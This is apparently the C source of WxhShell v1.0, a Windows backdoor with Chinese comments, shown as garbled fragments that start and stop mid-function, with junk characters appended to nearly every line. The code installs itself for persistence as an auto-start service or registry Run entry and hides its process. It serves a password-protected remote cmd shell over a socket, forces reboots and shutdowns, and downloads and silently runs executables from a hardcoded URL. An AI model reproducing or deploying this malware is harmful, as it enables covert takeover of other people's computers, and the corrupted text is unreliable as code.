    break; OEgI_= B  
    } le>Wm&E  
  // 关机 m~l F`?  
  case 'd': { qoU3"8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $&P?l=UG  
    if(Boot(SHUTDOWN)) rP=sG;d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `k{& /]  
    else { \c`oy=qY0  
    closesocket(wsh); Es5p}uh.[Y  
    ExitThread(0); ra7uU*  
    } qv{o |g QB  
    break; zsl,,gk9Y  
    } aw $L$7b}  
  // 获取shell 1&)_(|p[C  
  case 's': { @1R P/y%  
    CmdShell(wsh); l5t2\Fl  
    closesocket(wsh); Ss ?CfRM  
    ExitThread(0); :VA.QrKW  
    break; M^madx6`  
  } _GtBP'iN  
  // 退出 # '|'r+  
  case 'x': { 9ptFG]lZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C 'mL&  
    CloseIt(wsh); QDmYSY$  
    break; ,w)p"[^b  
    } ,d,\-x-+/  
  // 离开 f^Bc  
  case 'q': { dfj\RIV8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MQ/ A]EeL  
    closesocket(wsh); adEJk  
    WSACleanup(); q 2? X"!  
    exit(1); 6vzk\n  
    break; \>/M .2  
        } HRa@  
  } rp34?/Nz  
  } xycH~ ?  
Z+:D)L  
  // 提示信息 [Gr*,nVvB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y6HuN  
} Bstk{&ew  
  } $So%d9k  
BNGe exs@  
  return; WgR4Ix^L#  
} *<V^2z$y_  
 3yS  
// shell模块句柄 ni CE\B~  
int CmdShell(SOCKET sock) 4g _"ku  
{ ^C^*,V3  
STARTUPINFO si; D@YP7  
ZeroMemory(&si,sizeof(si)); cd@.zg'sYn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8%{q%+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !UBO_X%dz  
PROCESS_INFORMATION ProcessInfo; V1=*z  
char cmdline[]="cmd"; =H]F`[B=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bo_ym36N  
  return 0; j0-McLc  
} {OMg d3%14  
FcbM7/  
// 自身启动模式 %kI} [6J_  
int StartFromService(void) w2gf&Lc\  
{ [pOg'  
typedef struct 7hNb/O004  
{ /L=(^k=a.;  
  DWORD ExitStatus; 3HV%4nZLf  
  DWORD PebBaseAddress; yYJY;".H  
  DWORD AffinityMask; Al"3 kRJJ  
  DWORD BasePriority; P @% .`8  
  ULONG UniqueProcessId; x ,/TXTZ6  
  ULONG InheritedFromUniqueProcessId; YrI|gz)  
}   PROCESS_BASIC_INFORMATION; R""%F#4XJ2  
%uESrc-;  
PROCNTQSIP NtQueryInformationProcess; *e.*=$  
V-O(U*]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CX/(o]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D}mL7d1  
&wH:aD  
  HANDLE             hProcess; QOFvsJ<s  
  PROCESS_BASIC_INFORMATION pbi; H:&?ha,9  
>O`l8tM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |  FM }  
  if(NULL == hInst ) return 0; %B2XznZ:  
P!g-X%ngo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X~T/qFS   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C"<s/h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TvhJVVQ+?  
N0TeqOi4Y  
  if (!NtQueryInformationProcess) return 0; Ibr%d2yS=  
8Cf|*C+_'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?2J?XS>  
  if(!hProcess) return 0; 70W"G X&  
t={0(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q%3<Juq~$  
O mMX$YID  
  CloseHandle(hProcess); c-]fKj7  
lPq\=V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oY9FK{  
if(hProcess==NULL) return 0; $Rtgr{ {;"  
mNmUUj9z  
HMODULE hMod; *MM#Z?mP  
char procName[255]; >=,ua u7  
unsigned long cbNeeded; F#r#}.B='U  
T.&7sbE_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XJ\hd,R   
3fS}:!sQ  
  CloseHandle(hProcess); mX# "+X|  
;<Qdy` T  
if(strstr(procName,"services")) return 1; // 以服务启动 _]>JB0IY  
Csst[3V  
  return 0; // 注册表启动 S\C*iGeqJ  
} \{|ImCH  
x-m/SI]_N  
// 主模块 Q4'C;<\@(Q  
int StartWxhshell(LPSTR lpCmdLine) _2Zp1h,  
{ |H)cuZ  
  SOCKET wsl; _GaJXWMbk  
BOOL val=TRUE; +c,[ Q  
  int port=0; Q\_{d0 0  
  struct sockaddr_in door; [[L-j q.'  
:R6Q=g=  
  if(wscfg.ws_autoins) Install(); F4I6P  
#;r]/)>  
port=atoi(lpCmdLine); 0&w0a P`Y  
Ww9;UP'G  
if(port<=0) port=wscfg.ws_port; j BS4vvX?  
.(Y6$[#@  
  WSADATA data; XX;6 P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Opg#*w%-  
[ = M%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |7F*MP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K'b*A$5o  
  door.sin_family = AF_INET; L4' [XcY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L10IF  
  door.sin_port = htons(port); d "<F!?8  
[s6C ZcL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7!4V >O8@  
closesocket(wsl); >.%4~\U  
return 1; Epjff@ 7A  
} @PkJY  
E%pz9gcSx  
  if(listen(wsl,2) == INVALID_SOCKET) { H oy7RC&  
closesocket(wsl); RIy\u >  
return 1; 8n)WW$  
} ]r"Yqv3  
  Wxhshell(wsl); Zr/r2  
  WSACleanup(); gQVBA %  
yY=<'{!  
return 0; c[(Pg%  
n~r 9!m$<  
} wq0aF"k  
N+Sq}hI  
// 以NT服务方式启动 6].:.b\qQc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XAic9SNu;  
{ R{}qK r  
DWORD   status = 0; {w 5Z7s0  
  DWORD   specificError = 0xfffffff; $[CA&Y.  
l gq=GHW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p8>%Mflf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &r_uQbx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fEqC] *s  
  serviceStatus.dwWin32ExitCode     = 0; KCqqJ}G  
  serviceStatus.dwServiceSpecificExitCode = 0; )2j:z#'>  
  serviceStatus.dwCheckPoint       = 0; bKz{wm%  
  serviceStatus.dwWaitHint       = 0; 3VO:+mT  
\HSicV#i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?Myh 7  
  if (hServiceStatusHandle==0) return; pM$ @m]  
X>,A  
status = GetLastError(); #BJ\{"b_}z  
  if (status!=NO_ERROR) ,)#.a%EKA  
{ zY APf &5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;sQbn|=e"  
    serviceStatus.dwCheckPoint       = 0; @EZ>f5IO+  
    serviceStatus.dwWaitHint       = 0; C3"&sdLb$  
    serviceStatus.dwWin32ExitCode     = status; $G";2(-k  
    serviceStatus.dwServiceSpecificExitCode = specificError; gA:TL{X0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bx;f`8SN  
    return; qu{mqkfN>  
  } J_"3UZ~&  
ejcwg*i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3wt  
  serviceStatus.dwCheckPoint       = 0; (2txM"Dja  
  serviceStatus.dwWaitHint       = 0; hPO>,j^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I'_v{k5ZI  
} lo:~aJ8  
Q"}s>]k3_  
// 处理NT服务事件,比如:启动、停止 L3c*LL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^Q2ZqAf^a  
{ -u6#-}S  
switch(fdwControl) /bcY6b=:  
{ ixI:@#5wY  
case SERVICE_CONTROL_STOP: @YZ 4AC  
  serviceStatus.dwWin32ExitCode = 0; .E<Dz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +TX/g~  
  serviceStatus.dwCheckPoint   = 0; "iek,Y}j7  
  serviceStatus.dwWaitHint     = 0; Z3;=w%W  
  { YmDn+VIg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H@W0gK(cS;  
  } V5s& hZZYa  
  return; ]P3[.$z  
case SERVICE_CONTROL_PAUSE:  P\(30  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Lk nVqZ|k  
  break; iZTa>@   
case SERVICE_CONTROL_CONTINUE: %V_eJC""?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mw+j|{[  
  break; h$&rE@N|  
case SERVICE_CONTROL_INTERROGATE: FAtWsk*pgY  
  break; \R Z3Hh  
}; y4<+-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qS]G&l6QF  
} `ue?Z%p|  
,+-h7^{`  
// 标准应用程序主函数 G8P+A1 f/>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SCq3Ds^  
{ /djACA  
7^wE$7hS  
// 获取操作系统版本 2PBepgQyPU  
OsIsNt=GetOsVer(); !%62Phai  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;1E_o  
9[{sEg=C$e  
  // 从命令行安装 O5MDGg   
  if(strpbrk(lpCmdLine,"iI")) Install(); B9W/bJ6%  
"::9aYd!  
  // 下载执行文件 ~d+O/:=K_  
if(wscfg.ws_downexe) { |[WL2<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q X):T#^V  
  WinExec(wscfg.ws_filenam,SW_HIDE); V.j#E 1P  
} FO^24p  
;Jo*|pju  
if(!OsIsNt) { qw0~ *0}  
// 如果时win9x,隐藏进程并且设置为注册表启动 fLM.k CD?u  
HideProc(); +$ ~8)95<B  
StartWxhshell(lpCmdLine); ZgBckb  
} G5u meqYC  
else npj5U/  
  if(StartFromService()) Rp eBm#E2  
  // 以服务方式启动 'FxYMSZS$  
  StartServiceCtrlDispatcher(DispatchTable); BvJ\x)  
else ^0eO\wc?O  
  // 普通方式启动 ybYXD?  
  StartWxhshell(lpCmdLine); am (#Fa  
D(@SnI+  
return 0; \E&thp  
} Zh? V,39  
.h6Y< E  
wRi~Yb?  
[oJ& J>U'  
=========================================== lb95!.av+I  
)<Ob  
|VYr=hjo  
I1v@\Rb  
NYwGK|  
w(#:PsMo<  
" GZ,j?@  
QpJ IDM/  
#include <stdio.h> ec1Fg0Fa  
#include <string.h> 8E-Ip>{>  
#include <windows.h> c}'Xoc  
#include <winsock2.h> &m4f1ZO*  
#include <winsvc.h> l]>!`'sJL  
#include <urlmon.h> |is 9  
Crg#6k1~EN  
#pragma comment (lib, "Ws2_32.lib") L:^Y@[f  
#pragma comment (lib, "urlmon.lib") x3_,nl  
8_Jj+  
#define MAX_USER   100 // 最大客户端连接数 9Q=>MOB-  
#define BUF_SOCK   200 // sock buffer ^T+<!k  
#define KEY_BUFF   255 // 输入 buffer 1sMV`qv>  
!,R  
#define REBOOT     0   // 重启 8z0Hx  
#define SHUTDOWN   1   // 关机 /t5g"n3  
(E IRz>  
#define DEF_PORT   5000 // 监听端口 Ga?UHw~  
Pgx+\;w"  
#define REG_LEN     16   // 注册表键长度 13\Sh  
#define SVC_LEN     80   // NT服务名长度 hsz$S:am  
%'kX"}N/  
// 从dll定义API epYj+T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^X$ I=ro  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T 77)Np  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [e1\A&T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #yX^?+Rc  
do*Wx2:R  
// wxhshell配置信息 nHE+p\  
struct WSCFG { "LXXs0  
  int ws_port;         // 监听端口 dZ-Ny_@&  
  char ws_passstr[REG_LEN]; // 口令 EO"=\C,  
  int ws_autoins;       // 安装标记, 1=yes 0=no Px$'(eMj^3  
  char ws_regname[REG_LEN]; // 注册表键名 ud.poh~|  
  char ws_svcname[REG_LEN]; // 服务名  L2k;f]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y'?Izn b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q.<giBh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D8a)(wm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5#P: "U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2"zIR (  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0NVG"-Q  
x}uwWfe3  
}; E=A/4p6\$  
~xP Szf  
// default Wxhshell configuration e1oFnu2R  
struct WSCFG wscfg={DEF_PORT, )!BB/'DRQ  
    "xuhuanlingzhe", KqFmFcf|  
    1, _AVy:~/  
    "Wxhshell", +V6j`  
    "Wxhshell", rnJS[o0  
            "WxhShell Service", Qz'O{f  
    "Wrsky Windows CmdShell Service", J&(  
    "Please Input Your Password: ", p$B)^S%0i  
  1, 7jhl0  
  "http://www.wrsky.com/wxhshell.exe", F=:F>6`  
  "Wxhshell.exe" W&Y4Dq^  
    }; /95FDk>  
D5}DV  
// 消息定义模块 pn+D@x#IA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  'Dnq+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4 3}qaf[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -v;iMEZ)  
char *msg_ws_ext="\n\rExit."; //VG1@vaVX  
char *msg_ws_end="\n\rQuit."; LPsh?Ca?N  
char *msg_ws_boot="\n\rReboot..."; %L.lkRs  
char *msg_ws_poff="\n\rShutdown..."; _P>1`IR  
char *msg_ws_down="\n\rSave to "; l)|z2 H  
!d/`[9jY  
char *msg_ws_err="\n\rErr!"; W=q?tD~V  
char *msg_ws_ok="\n\rOK!"; 7l[t9ON  
A[K:/tB  
char ExeFile[MAX_PATH]; G1,Ro1  
int nUser = 0; gGF$M `  
HANDLE handles[MAX_USER]; ^.nwc#  
int OsIsNt; ?SBh^/zf  
Kw)C{L5a  
SERVICE_STATUS       serviceStatus; ytg7p5{!i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .0 rJIO  
^XtHF|%0T  
// 函数声明 fN~8L}!l  
int Install(void); +SP! R[a  
int Uninstall(void); Vx0MG{vG1  
int DownloadFile(char *sURL, SOCKET wsh); 7MR:X#2v>  
int Boot(int flag); :k Rv  
void HideProc(void); pIk4V/ fy  
int GetOsVer(void); a g|9$  
int Wxhshell(SOCKET wsl); BF@m )w.v  
void TalkWithClient(void *cs); F^4*|g  
int CmdShell(SOCKET sock); KB$ vQ@N  
int StartFromService(void); ;""-[4C  
int StartWxhshell(LPSTR lpCmdLine); = .fc"R|<K  
r9U[-CX:"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <6~/sa4GN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `PXoJl  
!.x=r  
// 数据结构和表定义 O%r S;o  
SERVICE_TABLE_ENTRY DispatchTable[] = :==UDVP  
{ LX&=uv%-^  
{wscfg.ws_svcname, NTServiceMain}, !H2C9l:rd  
{NULL, NULL} '5&B~ 1&  
}; &Z#Vw.7U  
8Xt=eL/P  
// 自我安装 5<0Yh#_  
int Install(void) &e5^v  
{ oXu~9'm$  
  char svExeFile[MAX_PATH]; p?EEox  
  HKEY key; y}.y,\S0  
  strcpy(svExeFile,ExeFile); Ktj(&/~}  
9 ayH:;  
// 如果是win9x系统,修改注册表设为自启动 P2<gHJ9t  
if(!OsIsNt) { ?etj.\q6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C{lB/F/|!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7!]k#|u  
  RegCloseKey(key); aC $h_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F!DrZd>\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YB(#]H|8S  
  RegCloseKey(key); L>|A6S#y8/  
  return 0; 2b vYF ;<r  
    } 6PVlZ  
  } 4jI*Y6Wkz  
} ^;v.ytO*  
else { *GY,h$Ul  
>-o?S O(M,  
// 如果是NT以上系统,安装为系统服务 _A# x&<c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;1Tpzm  
if (schSCManager!=0) 5Lo==jHif  
{ ~}FLn9@*  
  SC_HANDLE schService = CreateService TU^tW  
  ( QZeb+r  
  schSCManager, (]GY.(F{  
  wscfg.ws_svcname, `qQQQ.K7)z  
  wscfg.ws_svcdisp, +#2@G}j  
  SERVICE_ALL_ACCESS, `0-m`>1>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tg}H < T  
  SERVICE_AUTO_START, '8iv?D5M  
  SERVICE_ERROR_NORMAL, >Kqj{/SWK  
  svExeFile, J[Ylo&w3  
  NULL, 0.3[=a4 3  
  NULL, oWn_3gzw;  
  NULL, D0"yZp}  
  NULL, #&HarBxx  
  NULL )xXrs^  
  ); ./z"P]$  
  if (schService!=0) ]MBJ"1F  
  { }T&;*ww  
  CloseServiceHandle(schService); 0Mzc1dG:  
  CloseServiceHandle(schSCManager); }pU!1GsO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `^@g2c+d  
  strcat(svExeFile,wscfg.ws_svcname); 6 I>xd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G=0}IPfp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?7uStqa  
  RegCloseKey(key); YV>VA<c  
  return 0; ce-m)o/  
    } !3gpiQH{  
  } |Cxip&e>  
  CloseServiceHandle(schSCManager); .,(uoK{  
} S -mzxj  
} %[31ZFYB  
E,nYtn|B  
return 1; d%"@#bB  
} 7kew/8-  
4 Q>jP3  
// 自我卸载 _<&K]e@dp  
int Uninstall(void) 7xa@wa?!L  
{ >H]|A<9u(  
  HKEY key; g#bfY=C  
5<>R dLo  
if(!OsIsNt) { 5>^ W}0s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jmwQc&  
  RegDeleteValue(key,wscfg.ws_regname); 67hPQ/S1  
  RegCloseKey(key); T3PaG\5B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0 Ci"tA3"  
  RegDeleteValue(key,wscfg.ws_regname); T[2f6[#[_  
  RegCloseKey(key); B3k],k  
  return 0; `qy6 qKl N  
  } ~dX@5+Gd  
} ,1.([%z+r  
} L M<=j  
else { \$0 x8B   
hghto \G5Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x%Y a*T  
if (schSCManager!=0) 4wEpyQ|L  
{ %v6]>FNP'3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]idD&5gd  
  if (schService!=0) %W|Zj QI^  
  { @XSu?+s)  
  if(DeleteService(schService)!=0) { =M km:'1r  
  CloseServiceHandle(schService); 'V*M_o(\  
  CloseServiceHandle(schSCManager); dzC&7 9$  
  return 0; $9u  
  } xWI 0s;k  
  CloseServiceHandle(schService); s9Q)6=mE  
  } P(gID  
  CloseServiceHandle(schSCManager); OrqJo!FEg{  
} 2$/gg"g+  
} 113x9+w[  
"oGM> @q=B  
return 1; mQ `r`DW  
} nfPl#]ef*  
{UVm0AeUq  
// 从指定url下载文件 JnKbd~  
int DownloadFile(char *sURL, SOCKET wsh) GeW$lA I  
{ ^# g;"K0  
  HRESULT hr; d"$oV~>P|  
char seps[]= "/"; 9tW.}5V  
char *token; R)d 7b,_Yd  
char *file; l+kg4y  
char myURL[MAX_PATH]; ="nrq&2  
char myFILE[MAX_PATH]; M:q ;z(  
("@V{<7(t  
strcpy(myURL,sURL); *'S%gR=Aa+  
  token=strtok(myURL,seps); }(7QJk5 j  
  while(token!=NULL) 2\8\D^   
  { g|*eN{g]uE  
    file=token; h],%va[  
  token=strtok(NULL,seps); 7)8}8tY^{  
  } k=/|?%  
B0SmE_u_N  
GetCurrentDirectory(MAX_PATH,myFILE); Ej3hdi)  
strcat(myFILE, "\\"); 8t 35j   
strcat(myFILE, file); GP k Cgb(  
  send(wsh,myFILE,strlen(myFILE),0); h[)aRo  
send(wsh,"...",3,0); Oh85*3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ? F), 4Q  
  if(hr==S_OK) L5P}%1 _  
return 0; w0`L)f5v  
else Pw0KQUs  
return 1; hb\Y)HSp/  
(dprY1noC  
} ^XB8A=xi  
Zkep7L   
// 系统电源模块 :[rKSA]@  
int Boot(int flag) #$^i x  
{ @ tp7tB ;  
  HANDLE hToken; 8`?j*FV7kq  
  TOKEN_PRIVILEGES tkp; &1C9K>  
7CN[Z9Y^}  
  if(OsIsNt) { ZUI\0qh+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y>m=cqR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0mi[|~x=  
    tkp.PrivilegeCount = 1; lTd2~_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JF\viMfR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7%FZXsD  
if(flag==REBOOT) { s5 'nWMo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5WN Z7cO  
  return 0; ^"#rDP"v  
} :NyEd<'  
else { @BW8`Ky1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =}KbE4D+8  
  return 0; ~F6gF7]z  
} 4gNRln-  
  } ~,65/O  
  else { 6OW-Dif^AG  
if(flag==REBOOT) { ._nKM5.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >o= p5#{  
  return 0; .v&h>@'m  
} nY0UnlB`  
else { 3^UsyZS)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P&^7wud-sb  
  return 0; ? UDvFQ&  
} >RnMzH/9  
} F|K4zhK  
A)\DPLAG  
return 1; ?a9k5@s  
} D8{HOv;d^  
vaZZzv{H  
// win9x进程隐藏模块 m =F@CA~C  
void HideProc(void) L=FvLii.  
{ *g6o ;c  
c9@jyq_H?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ng*E9Puu[  
  if ( hKernel != NULL ) F}DD;K  
  { 4N0nU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <5}du9@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u@'zvkb@  
    FreeLibrary(hKernel); A+DYIS  
  } X&8,.=kt"  
`R?W @,@'  
return; sB/s17ar  
} p>O< "X@  
W A}@n  
// 获取操作系统版本 GP'Y!cl  
int GetOsVer(void) :vT%5CQ  
{ 3) 0~:  
  OSVERSIONINFO winfo; D.!7jA#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~B\:  
  GetVersionEx(&winfo); F ;&e5G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I*2rS_i[T  
  return 1; #L$ I %L"  
  else ,e_#   
  return 0; 2:F  
} " ?,6{\y,  
='>UKy[=  
// 客户端句柄模块 Cw5K*  
int Wxhshell(SOCKET wsl) O3: dOL/C  
{ DdO '  
  SOCKET wsh; mhuaXbr  
  struct sockaddr_in client; ;VRR=p%,  
  DWORD myID; 5^/[]*  
mIo7 K5z{  
  while(nUser<MAX_USER) W fNMyI  
{ RBD MZ  
  int nSize=sizeof(client); p2(_YN;s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .x8$PXjPG  
  if(wsh==INVALID_SOCKET) return 1; @/FX7O{n:  
1U7HS2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *)I1gR~  
if(handles[nUser]==0) @E;pT3; )  
  closesocket(wsh); - S-1<xR  
else S>E.*]_  
  nUser++; $ '*BS  
  } r ngw6?`n-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N Z`hy>LF^  
i`'^ zR(`i  
  return 0; H-w|JH>g  
} <z)G& h@  
?Fpl.t~  
// 关闭 socket 18`%WUPnT  
void CloseIt(SOCKET wsh) E%B Gf}h  
{ SqB|(~S  
closesocket(wsh); D0i30p`  
nUser--; +Bfi/>  
ExitThread(0); }C.{+U  
} =rF8[Q0K  
[+z:^a1?V  
// 客户端请求句柄 E ET 2|*}  
void TalkWithClient(void *cs) -~fI|A^  
{ ~\,6 C1M  
_6 `4_<c=  
  SOCKET wsh=(SOCKET)cs; yRkMR$5&  
  char pwd[SVC_LEN]; QGy=JHb  
  char cmd[KEY_BUFF]; tvRy8u;  
char chr[1]; UV.9 KcN.  
int i,j; 5 ZPUY  
x~eEaD5m%J  
  while (nUser < MAX_USER) { $uhDBmb  
zK?[dO  
if(wscfg.ws_passstr) { eS:e#>(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d2sq]Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gw T,D.'Ut  
  //ZeroMemory(pwd,KEY_BUFF); V0i$"|F+ E  
      i=0; wP"|$HN  
  while(i<SVC_LEN) { F\bI6gj  
GGtrH~zx  
  // 设置超时 pSFWNWQ'B  
  fd_set FdRead; caht4N{T  
  struct timeval TimeOut; GY xI$y0:  
  FD_ZERO(&FdRead); F DX+  
  FD_SET(wsh,&FdRead); 2Zip8f!  
  TimeOut.tv_sec=8; Iq \oB  
  TimeOut.tv_usec=0; >~~\==".  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mM>|fHGA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4V8wB}y7e  
pr(\?\a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); taaAwTtk?A  
  pwd=chr[0]; DU8LU*q'  
  if(chr[0]==0xd || chr[0]==0xa) { +9CUnRv  
  pwd=0; |pSoBA9U  
  break; IoOnS)  
  } !@k@7~i  
  i++; MDt?7c  
    } c\MDOD%9  
\-ws[  
  // 如果是非法用户,关闭 socket V.:A'!$#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )W|jt/  
} p>3'77 V  
mC(t;{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U:hC! t:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 38i,\@p`9$  
3 ?~+5DU  
while(1) { 8-YrmP2k  
WEAXqDjM  
  ZeroMemory(cmd,KEY_BUFF); +Ob#3PRy  
);H[lKy  
      // 自动支持客户端 telnet标准   #SNI dc>9\  
  j=0; >+8I =S  
  while(j<KEY_BUFF) { r0 C6Ww7u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q@VnJ,  
  cmd[j]=chr[0]; a@ }r[0O  
  if(chr[0]==0xa || chr[0]==0xd) { d<nB=r!*  
  cmd[j]=0; olh3 R.M<  
  break; \w[%n0  
  } |/s2AzDD  
  j++; { ][7Np!y  
    } -$ z"74  
'PYqp&gJ  
  // 下载文件 (`? snMc  
  if(strstr(cmd,"http://")) { vK`h;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,8nZzVo  
  if(DownloadFile(cmd,wsh)) 9Ib(x0_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FH`&C*/F0Y  
  else m-92G8'  
